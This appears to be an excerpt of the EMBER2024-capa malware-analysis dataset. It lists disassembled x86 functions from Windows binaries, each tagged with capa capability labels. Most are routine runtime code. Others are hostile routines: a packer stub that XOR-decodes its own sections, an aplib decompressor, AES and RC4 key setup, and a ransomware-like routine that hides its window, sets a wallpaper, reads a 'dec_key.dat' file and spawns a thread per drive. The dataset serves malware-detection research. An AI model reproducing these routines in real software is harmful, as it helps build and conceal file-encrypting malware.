joyce8/EMBER2024-capa huggingface dataset:
Function at 0x477926
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x4c9b4c]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0047779e
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0044ce10
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x477975
cmp dword [ebp - 0x1c], 5
jb 0x47798d
jmp 0x477989
cmp dword [ebp - 0x10], 1
jne 0x47798d
cmp dword [ebp - 0x1c], 4
ja 0x477989
jne 0x47798d
cmp dword [ebp - 0x18], 0
jbe 0x47798d
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x4ac564
call fcn.0047755b
test eax, eax
jge 0x4779ae
mov byte [0x4cbfb8], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0044bcf1
add ebp, 0x78
leave
ret

Function at 0x7d8058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.007d81a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x7d807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x7d806a
add dl, dl
jne 0x7d8089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x7d80dc
xor eax, eax
add dl, dl
jne 0x7d8096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x7d817d
add dl, dl
jne 0x7d80a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7d80b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7d80bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7d80c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x7d80d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x7d8075
mov eax, 1
add dl, dl
jne 0x7d80ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7d80f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x7d80e1
sub eax, ebx
mov ebx, 1
jne 0x7d8128
mov ecx, 1
add dl, dl
jne 0x7d810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x7d8119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x7d8105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7d8075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x7d813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x7d814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x7d8136
cmp eax, 0x7d00
jae 0x7d816d
cmp eax, 0x500
jb 0x7d8168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7d8075
cmp eax, 0x7f
ja 0x7d8170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7d8075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x7d819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x7d8075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x4073ab
Capabilities:
Terminate process

Disassembly:
push 0x58
push 0x40b8b0
call fcn.004074c0
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, 0x40f474
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
test eax, eax
je 0x40714a
cmp eax, esi
jne 0x40713d
xor esi, esi
inc esi
mov ebx, esi
jmp 0x40714d
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x407124
xor esi, esi
inc esi
mov eax, dword [0x40f470]
cmp eax, esi
jne 0x407160
push 0x1f
call sub.MSVCR80.dll__amsg_exit
pop ecx
jmp 0x40718f
mov eax, dword [0x40f470]
test eax, eax
jne 0x407189
mov dword [0x40f470], esi
push 0x40a334
push 0x40a32c
call sub.MSVCR80.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x40718f
jmp 0x4072b7
mov dword [0x40f06c], esi
mov eax, dword [0x40f470]
cmp eax, esi
jne 0x4071b3
push 0x40a328
push 0x40a30c
call sub.MSVCR80.dll__initterm
pop ecx
pop ecx
mov dword [0x40f470], 2
test ebx, ebx
jne 0x4071bf
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x40f478], 0
je 0x4071e3
push 0x40f478
call fcn.00407622
pop ecx
test eax, eax
je 0x4071e3
push 0
push 2
push 0
call dword [0x40f478]
mov eax, dword [sym.imp.MSVCR80.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x40723f
test al, al
je 0x4071fd
cmp dword [ebp - 0x1c], 0
jne 0x40723f
mov al, byte [esi]
test al, al
je 0x40720d
cmp al, 0x20
ja 0x40720d
inc esi
mov dword [ebp - 0x20], esi
jmp 0x4071fd
test byte [ebp - 0x3c], 1
je 0x407219
movzx eax, word [ebp - 0x38]
jmp 0x40721c
push 0xa
pop eax
push eax
push esi
push 0
push 0x400000
call main
mov dword [0x40f068], eax
cmp dword [0x40f05c], 0
jne 0x407293
push eax
call dword [sym.imp.MSVCR80.dll_exit]
cmp al, 0x22
jne 0x40724e
xor ecx, ecx
cmp dword [ebp - 0x1c], ecx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR80.dll__ismbblead]
pop ecx
test eax, eax
je 0x407261
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x4071ea
cmp dword [0x40f06c], 0
jne 0x4072a2
call dword [sym.imp.MSVCR80.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x40f068]
jmp 0x4072c3
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.00407505
ret
call 0x49d000
jmp 0x4070ea
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x3c97463f
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x433060
nop
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x65ff53fa
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x404b30
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x42df40]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x404b70
cmp byte [ebx], 0xa
jne 0x404b70
or byte [edi + eax + 0x28], 4
jmp 0x404b75
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x404c74
mov dl, byte [eax]
cmp dl, 0x1a
je 0x404c57
inc eax
cmp dl, 0xd
je 0x404ba1
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x404bc7
cmp eax, ecx
jae 0x404bd5
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x404b89
jmp 0x404c74
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x404c52
cmp dword [ebp - 0x10], 0
je 0x404c52
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x42df40]
test byte [eax + edi + 0x28], 0x48
je 0x404c2c
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x404c17
mov byte [esi], dl
jmp 0x404c28
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x42df40]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x404c74
cmp byte [ebp - 1], 0xa
jne 0x404c3b
cmp esi, ebx
jne 0x404c3b
mov byte [esi], 0xa
jmp 0x404c73
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0040492b
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x404c74
mov byte [esi], 0xd
jmp 0x404c73
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x42df40]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x404c71
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x404c74
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x404c7d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x42df40]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x404cc3
cmp word [ebx], dx
jne 0x404cc3
or byte [eax + edi + 0x28], 4
jmp 0x404cc8
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x404e2b
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x404e0b
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x404d09
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x404d3f
cmp eax, edx
jae 0x404d4d
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x404ce4
jmp 0x404e2b
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x404e06
cmp dword [ebp - 0x18], 0
je 0x404e06
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x42df40]
test byte [eax + edi + 0x28], 0x48
je 0x404ddc
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x404da0
mov word [esi], cx
jmp 0x404dd7
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x42df40]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x42df40]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x42df40]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x404e2b
pop eax
cmp word [ebp - 4], ax
jne 0x404dec
cmp esi, ebx
jne 0x404dec
mov word [esi], ax
jmp 0x404e28
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0040492b
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x404e2b
push 0xd
pop eax
jmp 0x404de7
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x42df40]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x404e25
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x404e2b
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40e9c5
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x424c00
push 0x424bf8
push str.FlsAlloc
push 0x1f
call fcn.0040e884
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40e9f9
push dword [ebp + 8]
mov ecx, esi
call dword [0x423204]
call esi
jmp 0x40e9ff
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40ea43
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x424c10
push 0x424c08
push str.FlsGetValue
push 0x21
call fcn.0040e884
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40ea7a
push dword [ebp + 8]
mov ecx, esi
call dword [0x423204]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40ea82
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x424c18
push 0x424c10
push str.FlsSetValue
push 0x22
call fcn.0040e884
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40eabc
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x423204]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x419c50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edx
mov ecx, dword [ebp + 8]
mov esi, 0x10
mov eax, ecx
mov ebx, dword [ebp + 0x14]
cdq
idiv esi
mov esi, eax
shl esi, 4
test edx, edx
je 0x419c7d
lea ecx, [esi + 0x10]
mov eax, dword [ebp + 0x10]
mov edx, edi
sub dword [ebp + 8], esi
push ecx
mov dword [eax], ecx
lea ecx, [ebp - 0x220]
call fcn.0041cc10
add esp, 4
xor edi, edi
test esi, esi
jle 0x419d15
mov eax, dword [ebp + 0xc]
dec esi
mov edi, dword [ebp - 4]
sub eax, edi
shr esi, 4
inc esi
mov dword [ebp - 8], eax
mov eax, esi
mov dword [ebp + 0x10], esi
shl eax, 4
mov dword [ebp - 0xc], eax
lea ecx, [edi + 0xf]
xor eax, eax
mov edx, ebx
cmp ebx, ecx
ja 0x419ce1
lea ecx, [ebx + 0xf]
cmp ecx, edi
jb 0x419ce1
nop dword [eax]
mov cl, byte [edi + eax]
lea edx, [edx + 1]
xor byte [edx - 1], cl
inc eax
cmp eax, 0x10
jl 0x419cd0
jmp 0x419ced
movups xmm1, xmmword [edi]
movups xmm0, xmmword [ebx]
xorps xmm1, xmm0
movups xmmword [ebx], xmm1
mov esi, dword [ebp - 8]
lea ecx, [ebp - 0x220]
add esi, edi
mov edx, ebx
push esi
call fcn.0041d440
movups xmm0, xmmword [esi]
add esp, 4
add edi, 0x10
sub dword [ebp + 0x10], 1
movups xmmword [ebx], xmm0
jne 0x419cb7
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
lea esi, [ebx + 0xf]
test eax, eax
jle 0x419d8b
movaps xmm0, xmmword [0x429460]
push eax
mov eax, dword [ebp - 4]
add eax, edi
push eax
lea eax, [ebp - 0x1c]
push eax
movups xmmword [ebp - 0x1c], xmm0
call fcn.00402f60
lea eax, [ebp - 0xd]
add esp, 0xc
xor edx, edx
mov ecx, ebx
cmp ebx, eax
ja 0x419d62
lea eax, [ebp - 0x1c]
cmp esi, eax
jb 0x419d62
nop
mov al, byte [ebp + edx - 0x1c]
lea ecx, [ecx + 1]
xor byte [ecx - 1], al
inc edx
cmp edx, 0x10
jl 0x419d50
jmp 0x419d6f
movups xmm1, xmmword [ebx]
movups xmm0, xmmword [ebp - 0x1c]
xorps xmm1, xmm0
movups xmmword [ebx], xmm1
mov esi, dword [ebp + 0xc]
lea ecx, [ebp - 0x220]
add esi, edi
mov edx, ebx
push esi
call fcn.0041d440
movups xmm0, xmmword [esi]
add esp, 4
movups xmmword [ebx], xmm0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41ba40
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Manually build aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov dl, 1
push ebx
push esi
push edi
xor ebx, ebx
movzx eax, dl
mov cl, dl
sar cl, 7
and cl, 0x1b
mov byte [ebp + ebx - 0x208], dl
mov byte [ebp + eax - 0x108], bl
mov al, dl
add al, al
inc ebx
xor cl, al
xor dl, cl
cmp ebx, 0x100
jl 0x41ba50
mov cl, 1
mov edx, 0x4307f0
movzx eax, cl
shl eax, 0x18
mov dword [edx], eax
mov al, cl
sar al, 7
add cl, cl
and al, 0x1b
add edx, 4
xor cl, al
cmp edx, 0x430818
jl 0x41ba81
mov dword [0x431420], 0x63
mov esi, 1
mov dword [0x430dac], 0
nop dword [eax + eax]
movzx eax, byte [ebp + esi - 0x108]
lea ecx, [ebp - 0x109]
sub ecx, eax
mov dl, byte [ecx]
mov cl, dl
mov al, dl
add al, al
shr cl, 7
or cl, al
xor dl, cl
mov al, cl
shr al, 7
add cl, cl
or al, cl
mov bl, al
xor bl, dl
mov dl, al
add al, al
shr dl, 7
or dl, al
mov al, dl
ror al, 7
movzx ecx, al
movzx eax, dl
xor ecx, eax
movzx eax, bl
xor ecx, eax
xor ecx, 0x63
mov dword [esi*4 + 0x431420], ecx
mov dword [ecx*4 + 0x430c20], esi
inc esi
cmp esi, 0x100
jl 0x41bac0
xor ebx, ebx
mov dword [ebp - 4], 0xff
nop word [eax + eax]
mov dl, byte [ebx + 0x431420]
mov cl, dl
movzx edi, dl
sar cl, 7
mov al, dl
and cl, 0x1b
add al, al
xor cl, al
movzx eax, dl
movzx esi, cl
shl esi, 8
xor esi, edi
movzx ecx, cl
xor ecx, eax
shl esi, 8
xor esi, edi
mov eax, esi
shl eax, 8
xor eax, ecx
bswap ecx
or ecx, esi
mov dword [ebx + 0x42ebf0], eax
mov al, byte [ebx + 0x430c20]
mov dword [ebx + 0x42f3f0], ecx
shr ecx, 8
bswap edi
or ecx, edi
mov dword [ebx + 0x42fff0], ecx
shr ecx, 8
or ecx, edi
mov dword [ebx + 0x4303f0], ecx
test al, al
je 0x41bc20
movzx esi, al
xor edx, edx
mov eax, dword [ebp - 0xfb]
mov edi, 0xff
movzx eax, al
movzx ecx, byte [ebp + esi - 0x108]
add eax, ecx
div edi
mov eax, dword [ebp - 0xff]
movzx eax, al
add eax, ecx
movzx edi, byte [ebp + edx - 0x208]
xor edx, edx
div dword [ebp - 4]
movzx eax, byte [ebp + edx - 0x208]
xor edx, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xfa]
movzx eax, al
add eax, ecx
mov ecx, 0xff
div ecx
movzx eax, byte [ebp + esi - 0x108]
mov esi, 0xff
movzx ecx, byte [ebp + edx - 0x208]
mov edx, dword [ebp - 0xfd]
movzx edx, dl
add eax, edx
xor edx, edx
div esi
mov eax, dword [ebp - 8]
movzx edx, byte [ebp + edx - 0x208]
jmp 0x41bc28
xor edi, edi
xor eax, eax
xor ecx, ecx
xor edx, edx
shl ecx, 8
xor ecx, eax
shl ecx, 8
xor ecx, edi
shl ecx, 8
xor ecx, edx
mov edx, ecx
mov dword [ebx + 0x42f7f0], ecx
shl edx, 0x18
shr ecx, 8
or edx, ecx
mov eax, edx
mov dword [ebx + 0x42fbf0], edx
shl eax, 0x18
shr edx, 8
or eax, edx
mov dword [ebx + 0x42e3f0], eax
ror eax, 8
mov dword [ebx + 0x431020], eax
add ebx, 4
cmp ebx, 0x400
jl 0x41bb30
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4212c0
Capabilities:
Change the wallpaper
Create thread
Get common file path
Get disk information
Hide graphical window
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44c
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x2000
push 0
push 0
push 0
push 0x68
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.USER32.dll_LoadImageW]
mov esi, eax
test esi, esi
je 0x421375
lea eax, [ebp - 0x44c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x44c]
push eax
lea eax, [ebp - 0x244]
push str._s_tmp.bmp
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x244]
call fcn.004215c0
test eax, eax
je 0x42135e
push 3
lea eax, [ebp - 0x244]
push eax
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
test eax, eax
mov ecx, str.Failed_to_set_wallpaper._n
mov edx, str.Wallpaper_set_successfully._n
cmovne ecx, edx
jmp 0x421363
mov ecx, str.Failed_to_save_bitmap_to_file._n
push ecx
call fcn.00401040
add esp, 4
push esi
call dword [sym.imp.GDI32.dll_DeleteObject]
jmp 0x421382
push str.Failed_to_load_bitmap_from_resource._n
call fcn.00401040
add esp, 4
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x421810
push 0
push 0
mov dword [0x43081c], 0
call ebx
mov ecx, dword [0x43081c]
push 0
push 0
push 0
push 0x422670
mov dword [ecx*4 + 0x431c30], eax
inc ecx
push 0
push 0
mov dword [0x43081c], ecx
call ebx
mov ecx, dword [0x43081c]
mov dword [ecx*4 + 0x431c30], eax
lea eax, [ebp - 0x348]
push eax
push 0
push 0
push 0x1a
inc ecx
push 0
mov dword [0x43081c], ecx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x140]
push str._sdec_key.dat
push eax
call fcn.004010d0
lea eax, [ebp - 0x140]
push 0x4291a0
push eax
call fcn.0040ba13
mov esi, eax
add esp, 0x14
test esi, esi
je 0x42144d
push esi
push 0x24
lea eax, [ebp - 0x3c]
push 1
push eax
call fcn.0040c47b
lea ecx, [ebp - 0x3c]
mov byte [ebp - 0x18], 0
call fcn.00421f70
push esi
mov byte [0x42c918], 0
call fcn.0040bb4f
add esp, 0x14
mov edi, 0x61
mov dword [ebp - 0x14], 0x3a0063
xorps xmm0, xmm0
mov dword [ebp - 0x10], 0x5c
movq qword [ebp - 0xc], xmm0
mov ebx, edi
mov dword [ebp - 4], 0
lea eax, [ebp - 0x14]
mov word [ebp - 0x14], di
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
sub eax, 2
je 0x421496
sub eax, 1
je 0x421496
sub eax, 1
je 0x421496
mov ecx, dword [0x43081c]
jmp 0x4214df
push 4
call fcn.00401114
push 0x65
push ebx
mov esi, eax
push str._c_c
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0
push esi
push 0x422100
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x43081c]
mov dword [ecx*4 + 0x431c30], eax
inc ecx
inc dword [0x431c20]
mov dword [0x43081c], ecx
inc edi
inc ebx
cmp di, 0x7a
ja 0x421471
pop edi
pop esi
pop ebx
push 0xffffffffffffffff
push 1
push 0x431c30
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4215c0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422840
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, edx
mov dword [ebp - 4], 0
push 2
push 0x68
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x1c], eax
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
mov eax, 0x4d42
mov word [ebp - 0x2c], ax
lea ecx, [ebx + 0xe]
mov dword [ebp - 0x2a], ecx
mov dword [ebp - 0x22], 0x36
xor eax, eax
mov word [ebp - 0x24], ax
mov word [ebp - 0x26], ax
push eax
lea eax, [ebp - 0x14]
push eax
push 0xe
lea eax, [ebp - 0x2c]
push eax
push edi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
call esi
push 0
lea eax, [ebp - 0x14]
push eax
push ebx
push dword [ebp - 0x18]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov dword [ebp - 4], 0xffffffff
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4012ef
Capabilities:
Create thread

Disassembly:
push 8
push 0x44bd98
call fcn.00421a10
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
lea edi, [esi + 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [ebp - 4], 0xfffffffe
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [esi + 0x2c], eax
test eax, eax
je 0x401356
push ebx
push 1
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [esi + 0x30], eax
test eax, eax
je 0x401356
push ebx
push ebx
push dword [ebp + 8]
push 0x401410
push ebx
push ebx
call fcn.00424e7c
add esp, 0x18
mov dword [esi + 0x34], eax
test eax, eax
je 0x401356
mov al, 1
jmp 0x401390
push dword [esi + 0x2c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esi + 0x30]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
jmp 0x40138e
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4